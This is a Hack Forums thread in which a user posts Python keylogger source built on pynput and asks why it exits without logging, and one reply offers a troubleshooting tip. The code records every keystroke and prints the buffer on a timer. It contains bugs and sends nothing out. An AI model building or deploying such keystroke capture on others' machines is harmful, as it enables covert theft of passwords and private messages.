

Forum:[Hack Forums](#)

Thread: [Python Keylogger Troubles](#)

Magpi3 - June 7, 2019, 9:02 am

Hey!, im having troubles working a python Keylogger that I am trying to make and I am stuck on a particular bit.

FILE 1

```
Code import pynput.keyboard
import threading
```

```
class KEYLOG:
    def __init__(self):
        self.log = ""
        print("We are in constructor method")

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:
            current_key = str(key.char)
            self.append_to_log(str(key.char))
        except AttributeError:
            if key == key.space:
                current_key = log + " "
            else:
                current_key = log + " " + str(key) + " "
            self.append_to_log(current_key)

    def report(self):
        print(self.log)
        log = ""
        timer = threading.Timer(5, self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()
```

FILE 2

```
Code import Logger.py
```

```
logger_key = Logger.KEYLOG()
logger_key.start()
```

Now when this is ran, the system does not provide any errors and instead just throws up

Process finished with exit code 0

I dont understand what is going wrong and the fact that there is no errors is more confusing, I am using PyCharm with python 3.7

I have tried to run through console nothing happened

Currently trying to get better at Greyhat Python and any help would be appreciated.

FoxBlood - *June 9, 2019, 4:28 am*

Try to run it on a separated console, sometimes the IDE which you use throw some error, that's happening to me in another IDE when I'm trying to run a discord bot.

However, the bot works somehow for me:

[imgur\(dot\)com/CQUL96F](https://imgur.com/CQUL96F)

Sorry, I do not have enough posts